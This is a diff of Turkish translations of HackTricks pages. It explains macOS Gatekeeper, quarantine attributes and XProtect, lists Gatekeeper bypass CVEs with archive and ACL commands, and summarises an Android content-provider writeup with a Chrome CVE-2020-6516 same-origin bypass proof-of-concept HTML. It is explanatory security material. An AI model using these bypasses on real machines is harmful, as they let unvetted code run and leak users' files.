şeklinde işaretlemek için bir güvenlik önlemi olarak hareket eder. Ancak, tüm uygulamalar bu özniteliği eklemeyebilir, örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar. **Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'in Gatekeeper güvenlik özelliğine sinyal verir**. -Karantina bayrağının **bulunmadığı durumlarda** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri gerçekleştirilmeyebilir**. Bu nedenle, kullanıcılar, daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmalıdır. +**Karantina bayrağının bulunmadığı durumlarda** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri gerçekleştirilmeyebilir**. Bu nedenle, kullanıcılar, daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmalıdır. {% hint style="info" %} -Kod imzalarının geçerliliğini kontrol etmek, kodun ve tüm paketlenmiş kaynakların kriptografik **hash'lerini oluşturmayı** içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, sertifikanın verildikten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularına **çevrimiçi bir kontrol** yapmayı içerir. Bu nedenlerden dolayı, her bir uygulama başlatıldığında tam bir kod imzası ve noterleme kontrolünün **her seferinde çalıştırılması pratik değildir**. +Kod imzalarının **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynakların kriptografik **hash'lerini oluşturmayı** içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, sertifikanın verildikten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularına **çevrimiçi bir kontrol** yapmayı içerir. Bu nedenlerden dolayı, her bir uygulama başlatıldığında tam bir kod imzası ve noterlik kontrolünün **her seferinde çalıştırılması uygulanabilir değildir**. -Bu nedenle, bu kontroller, **yalnızca karantina bayrağına sahip uygulamalar çalıştırıldığında yapılır**. +Bu nedenle, bu kontroller, **yalnızca karantina bayrağı özniteliğine sahip uygulamalar çalıştırıldığında çalıştırılır**. {% endhint %} {% hint style="warning" %} Bu öznitelik, dosyayı oluşturan/indiren uygulama tarafından **ayarlanmalıdır**. -Ancak, kumlanmış dosyalar, oluşturdukları her dosyaya bu özniteliği ayarlayacaktır. Kumlanmamış uygulamalar kendileri ayarlayabilir veya **Info.plist** içinde [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) anahtarını belirleyebilirler, bu da sistemin oluşturulan dosyalara `com.apple.quarantine` genişletilmiş özniteliğini ayarlamasını sağlar. +Ancak, kumlanmış dosyalar, oluşturdukları her dosyaya bu özniteliğin ayarlanmış olacaktır. Ve kumlanmamış uygulamalar kendileri ayarlayabilir veya **Info.plist** içinde [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) anahtarını belirleyebilirler, bu da sistemin oluşturulan dosyalara `com.apple.quarantine` genişletilmiş özniteliğini ayarlamasını sağlar, {% endhint %} -Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (kök erişimi gereklidir) mümkündür: +Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (kök gerekli) mümkündür: ```bash spctl --status assessments enabled @@ -177,13 +177,13 @@ spctl --enable spctl --disable #You can also allow nee identifies to execute code using the binary "spctl" ``` -Ayrıca, bir dosyanın karantina uzatılmış niteliğine sahip olup olmadığını şu şekilde **bulabilirsiniz**: +Ayrıca, bir dosyanın karantina genişletilmiş niteliğine sahip olup olmadığını şu şekilde **bulabilirsiniz**: ```bash xattr file.png com.apple.macl com.apple.quarantine ``` -**Uzatılmış** **özniteliklerin** **değerini** kontrol edin ve karantina özniteliğini yazan uygulamayı bulun: +**Genişletilmiş** **özniteliklerin** **değerini** kontrol edin ve karantina özniteliğini yazan uygulamayı bulun: ```bash xattr -l portada.png com.apple.macl: @@ -265,7 +265,7 @@ return 0; ``` -Ve **o özelliği** şu şekilde kaldırın: +Ve **kaldır** o özelliği şununla: ```bash xattr -d com.apple.quarantine portada.png #You can also remove this attribute from every file with @@ -283,15 +283,15 @@ Karantina bilgileri ayrıca **`~/Library/Preferences/com.apple.LaunchServices.Qu #### **Quarantine.kext** -Çekirdek uzantısı yalnızca sistemdeki **çekirdek önbelleği** aracılığıyla erişilebilir; ancak, **https://developer.apple.com/** adresinden indirebileceğiniz **Kernel Debug Kit** içinde uzantının sembolleştirilmiş bir sürümü bulunmaktadır. +Çekirdek uzantısı yalnızca sistemdeki **çekirdek önbelleği** aracılığıyla erişilebilir; ancak, **https://developer.apple.com/** adresinden **Kernel Debug Kit** indirebilirsiniz, bu da uzantının sembolleştirilmiş bir sürümünü içerecektir. ### XProtect -XProtect, macOS'ta bulunan bir **anti-malware** özelliğidir. XProtect, herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılım ve güvensiz dosya türleri veritabanına karşı kontrol eder. Belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, örneğin Safari, Posta veya Mesajlar, XProtect dosyayı otomatik olarak tarar. Veritabanındaki herhangi bir bilinen kötü amaçlı yazılıma uyan bir dosya indirirseniz, XProtect dosyanın çalışmasını **engeller ve tehdidi size bildirir**. +XProtect, macOS'ta bulunan yerleşik bir **anti-malware** özelliğidir. XProtect, herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanına karşı kontrol eder. Belirli uygulamalar aracılığıyla dosya indirdiğinizde, örneğin Safari, Posta veya Mesajlar, XProtect dosyayı otomatik olarak tarar. Veritabanındaki herhangi bir bilinen kötü amaçlı yazılımla eşleşirse, XProtect dosyanın çalışmasını **engeller** ve tehdidi size bildirir. XProtect veritabanı, Apple tarafından düzenli olarak yeni kötü amaçlı yazılım tanımlarıyla güncellenir ve bu güncellemeler otomatik olarak Mac'inize indirilir ve yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olduğunu sağlar. -Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmek önemlidir. Yalnızca belirli bir liste bilinen tehditleri kontrol eder ve çoğu antivirüs yazılımı gibi on-erişim taraması yapmaz. +Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmek gerekir. Yalnızca belirli bilinen tehditleri kontrol eder ve çoğu antivirüs yazılımı gibi erişim üzerinden tarama yapmaz. En son XProtect güncellemesi hakkında bilgi alabilirsiniz çalıştırarak: @@ -306,35 +306,35 @@ XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumun - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhash'lere sahip kodların eski ayrıcalıkları kullanmasına izin verir. - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve eklentilerin listesi veya bir minimum sürümü belirtir. - **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Zararlı yazılımları tespit etmek için Yara kuralları. -- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenen uygulamaların ve TeamID'lerin karma değerlerini içeren SQLite3 veritabanı. +- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenmiş uygulamaların ve TeamID'lerin karmaşalarının bulunduğu SQLite3 veritabanı. -XProtect ile ilgili olmayan başka bir Uygulama olduğuna dikkat edin: **`/Library/Apple/System/Library/CoreServices/XProtect.app`**. +XProtect ile ilgili **`/Library/Apple/System/Library/CoreServices/XProtect.app`** konumunda başka bir Uygulama olduğunu unutmayın ve bu Uygulama Gatekeeper işlemiyle ilgili değildir. ### Gatekeeper Değil {% hint style="danger" %} -Gatekeeper'ın **her uygulamayı çalıştırdığınızda her zaman çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından zaten doğrulanmış ve onaylanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını doğrular**. +Gatekeeper'ın **her uygulamayı çalıştırdığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından zaten çalıştırılmış ve doğrulanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını doğrular**. {% endhint %} -Bu nedenle, önceden bir uygulamayı Gatekeeper ile önbelleğe almak için uygulamayı çalıştırmanın ardından (örneğin Electron asar veya NIB dosyaları gibi) **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** mümkündü ve başka korumalar olmadığı sürece, uygulama **zararlı eklemelerle** birlikte **çalıştırılıyordu**. +Bu nedenle, önceden bir uygulamayı Gatekeeper ile önbelleğe almak için uygulamayı çalıştırmak mümkündü, ardından (Electron asar veya NIB dosyaları gibi) uygulamanın **yürütülebilir olmayan dosyalarını değiştirmek** ve başka korumalar olmadığında, uygulama **zararlı eklemelerle** **çalıştırılıyordu**. -Ancak şimdi macOS, uygulama paketleri içindeki dosyaların değiştirilmesini **engelliyor**. Bu nedenle, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanmanın mümkün olmadığını göreceksiniz çünkü uygulamayı Gatekeeper ile önbelleğe almak için çalıştırdıktan sonra paketi değiştiremeyeceksiniz. Örneğin, İçerik dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata alacak ve çalıştırmayacaktır. +Ancak şimdi macOS, uygulama paketlerinin içindeki dosyaları **değiştirmeyi engeller**. Bu nedenle, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanmanın mümkün olmadığını göreceksiniz çünkü Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra paketi değiştiremeyeceksiniz. Ve örneğin, İçerik dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata alacak ve çalıştırmayacaktır. ## Gatekeeper Atlatmaları -Kullanıcının bir şeyi indirmesini ve Gatekeeper'ın bunu engellemesi gerektiği durumda çalıştırmasını sağlamak (Gatekeeper'ı atlamak) herhangi bir yöntem, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlamayı sağlayan tekniklere atanan bazı CVE'ler şunlardır: +Kullanıcının bir şeyi indirmesini ve Gatekeeper'ın bunu engellemesi gereken bir şeyi çalıştırmasını başarmak her zaman macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlamaya izin veren tekniklere atanan bazı CVE'ler şunlardır: ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) -**Arşiv Yardımcısı**'nın kullanılması durumunda, **886 karakteri aşan yollara sahip dosyaların** com.apple.quarantine genişletilmiş özniteliğini almadığı gözlemlendi. Bu durum yanlışlıkla bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlamasına** izin verir. +**Arşiv Yardımcı Programı**'nın kullanılması durumunda, **886 karakteri aşan yollara sahip dosyaların** com.apple.quarantine uzatılmış özniteliğini almadığı gözlemlendi. Bu durum yanlışlıkla bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlamasına** izin verir. Daha fazla bilgi için [**orijinal rapora**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) bakın. ### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) -Bir uygulama **Automator** ile oluşturulduğunda, uygulamanın neyi yürüteceği hakkındaki bilgiler `application.app/Contents/document.wflow` içinde değil, yürütülebilirde bulunur. Yürütülebilir sadece **Automator Uygulama Taklidi** olarak adlandırılan genel bir Automator ikili dosyasıdır. +Bir uygulama **Automator** ile oluşturulduğunda, uygulamanın neyi yürüteceği hakkındaki bilgiler `application.app/Contents/document.wflow` içinde değil yürütülebilir dosyada bulunur. Yürütülebilir dosya yalnızca **Automator Uygulama Taklidi** olarak adlandırılan genel bir Automator ikili dosyasıdır. -Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub`'ı başka bir sistemdeki başka bir Automator Uygulama Taklidi'ne sembolik bir bağlantı yapabilir ve `document.wflow` içinde ne varsa (betiğiniz) **Gatekeeper'ı tetiklemeden** yürütür. +Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub`'ı başka bir sistemdeki Automator Uygulama Taklidi'ne sembolik bir bağlantı yaparak `document.wflow` içinde ne varsa (betiğiniz) **Gatekeeper'ı tetiklemeden** çalıştırabilirsiniz çünkü gerçek yürütülebilir dosyada karantina xattr yoktur. Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` @@ -342,21 +342,23 @@ Daha fazla bilgi için [**orijinal rapora**](https://ronmasas.com/posts/bypass-m ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) -Bu atlatmada, bir zip dosyası oluşturuldu ve sıkıştırmaya `application.app` yerine `application.app/Contents`'den başlandı. Bu nedenle, **karantina özniteliği** tüm **dosyalara `application.app/Contents`** uygulandı ancak **`application.app`'ye** uygulanmadı, Gatekeeper'ın kontrol ettiği şey buydu, bu nedenle `application.app` tetiklendiğinde **karantina özniteliğine sahip olmadığı için Gatekeeper atlatıldı.** +Bu atlatmada, bir zip dosyası `application.app` yerine `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama oluşturuldu. Bu nedenle, **karantina özniteliği** tüm **dosyalara `application.app/Contents`** uygulandı ancak **`application.app`'ye** uygulanmadı, ki bu Gatekeeper'ın kontrol ettiği şeydi, bu nedenle Gatekeeper, `application.app` tetiklendiğinde **karantina özniteliğine sahip olmadığı için atlatıldı.** ```bash zip -r test.app/Contents test.zip ``` -Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) kontrol edin. +Daha fazla bilgi için [**orijinal rapora**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) bakın. ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) -Bileşenler farklı olsa da, bu zafiyetin sömürülmesi öncekine çok benzer. Bu durumda, **`uygulama.app/İçerikler`**'den bir Apple Arşivi oluşturacağız, böylece **`uygulama.app`** **Archive Utility** tarafından açıldığında **karantina özniteliği almayacak**. +Bileşenler farklı olsa da, bu zafiyetin sömürülmesi öncekine çok benzer. Bu durumda **`uygulama.app/İçerikler`** dizininden bir Apple Arşivi oluşturacağız, böylece **`uygulama.app`** **Arşiv Yardımcı Programı** tarafından açıldığında karantina özelliğini almayacak. ```bash aa archive -d test.app/Contents -o test.app.aar ``` +Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) kontrol edin. + ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) -ACL **`writeextattr`** kullanılarak bir dosyada bir öznitelik yazılmasını engellemek için kullanılabilir: +ACL **`writeextattr`** dosyada bir özniteliği yazmasını engellemek için kullanılabilir: ```bash touch /tmp/no-attr chmod +a "everyone deny writeextattr" /tmp/no-attr @@ -365,7 +367,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` Ayrıca, **AppleDouble** dosya biçimi, ACE'lerini içeren bir dosyanın kopyasını oluşturur. -[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılan dosyada ACL olarak ayarlanacaktır. Dolayısıyla, eğer bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile birlikte **AppleDouble** dosya biçimine sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr'si uygulamaya ayarlanmamış olacaktır: +[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile birlikte **AppleDouble** dosya biçimine sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr'si uygulamaya ayarlanmamış olacaktır: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -374,9 +376,9 @@ python3 -m http.server ``` {% endcode %} -Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) bakın. +Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin. -Bu ayrıca AppleArchives ile de sömürülebilir: +Bu aynı zamanda AppleArchives ile de sömürülebilir: ```bash mkdir app touch app/test @@ -401,8 +403,8 @@ aa archive -d test/ -o test.aar ``` {% endcode %} -Karantina özniteliği ayarlanmayan bir dosya oluşturabilmek, **Gatekeeper'ı atlayabilmeyi mümkün kıldı.** Hile, AppleDouble adı konvansiyonunu kullanarak (`._` ile başlat) bir DMG dosyası uygulaması oluşturmak ve karantina özniteliği olmayan bu gizli dosyaya bir sembolik bağ olarak görünür bir dosya oluşturmaktı.\ -**Dmg dosyası yürütüldüğünde**, karantina özniteliğine sahip olmadığı için **Gatekeeper'ı atlayacaktır.** +Karantina özniteliğine sahip olmayan bir dosya oluşturabilme yeteneği sayesinde **Gatekeeper'ı atlayabilirsiniz.** Hile, AppleDouble adı konvansiyonunu kullanarak (`._` ile başlatarak) bir DMG dosyası uygulaması oluşturmak ve karantina özniteliğine sahip olmayan bu gizli dosyaya bir sembolik bağ oluşturmaktı.\ +**Dmg dosyası çalıştırıldığında**, karantina özniteliğine sahip olmadığı için **Gatekeeper'ı atlayacaktır.** ```bash # Create an app bundle with the backdoor an call it app.app @@ -422,6 +424,6 @@ aa archive -d s/ -o app.aar Bir ".app" paketinde karantina xattr eklenmediğinde, **uygulama çalıştırıldığında Gatekeeper tetiklenmeyecek**. -
+
{% embed url="https://websec.nl/" %} diff --git a/mobile-pentesting/android-app-pentesting/content-protocol.md b/mobile-pentesting/android-app-pentesting/content-protocol.md index f53d4564a..9157760e1 100644 --- a/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,25 +1,25 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hackleme hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
{% embed url="https://websec.nl/" %} **Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) gönderisinin özeti.** -### Medya Deposundaki Dosyaların Listelenmesi -Medya Deposu tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir: +### Ortam Mağazasındaki Dosyaların Listelenmesi +Ortam Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir: ```bash $ content query --uri content://media/external/file ``` @@ -27,12 +27,12 @@ Daha insan dostu bir çıktı için yalnızca dizinlenen her dosyanın tanımlay ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -### İçerik Sağlayıcılarına Erişim +### İçerik Sağlayıcıları -İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli `content://` URI'si gerektirir. Bir sağlayıcıya erişmek için yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir. +İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim belirli `content://` URI'si gerektirir. Bir sağlayıcıya erişmek için gerekli yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir. ### Chrome'un İçerik Sağlayıcılara Erişimi -Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren `content://` şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu açıklamak için bir dosya Medya Deposuna eklenip ardından Chrome aracılığıyla erişilebilir: +Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren `content://` şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu göstermek için bir dosya Medya Deposuna eklenip ardından Chrome üzerinden erişilebilir: Medya Deposuna özel bir giriş ekleyin: ```bash @@ -56,13 +56,13 @@ content query --uri content://media/external/file --projection _id,_data | grep ``` ### Chrome CVE-2020-6516: Aynı Köken Politikası Atlatma -_Aynı Köken Politikası_ (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz Köken Kaynak Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder. +_Aynı Köken Politikası_ (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz-Köken-Kaynak-Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder. -Ancak, CVE-2020-6516, Chrome'da bir güvenlik açığıydı ve `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veriyordu. Sonuç olarak, bir `content://` URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer `content://` URL'si aracılığıyla yüklenen diğer kaynaklara erişebiliyordu, bu da önemli bir güvenlik endişesi oluşturuyordu. +Ancak, CVE-2020-6516, Chrome'da `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veren bir güvenlik açığıydı. Sonuç olarak, bir `content://` URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer `content://` URL'si aracılığıyla yüklenen diğer kaynaklara erişebilirdi, bu da önemli bir güvenlik endişesi oluşturuyordu. -Aşağıdaki kanıt-of-konsept, bir HTML belgesinin, **/sdcard** altına yüklendikten ve Medya Deposuna eklenip, JavaScript'inde `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak. +Aşağıdaki kavram kanıtı, bir HTML belgesinin, **/sdcard** altına yüklendikten ve Medya Deposuna ekledikten sonra, JavaScript içindeki `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak. -Kanıt-of-Konsept HTML: +Kavram Kanıtı HTML: ```xml @@ -91,7 +91,7 @@ xhr.send(); ``` -
+
{% embed url="https://websec.nl/" %} @@ -102,9 +102,9 @@ xhr.send(); HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index f8147d117..20a6abbf9 100644 --- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,30 +2,30 @@
-Sıfırdan ileri seviye AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
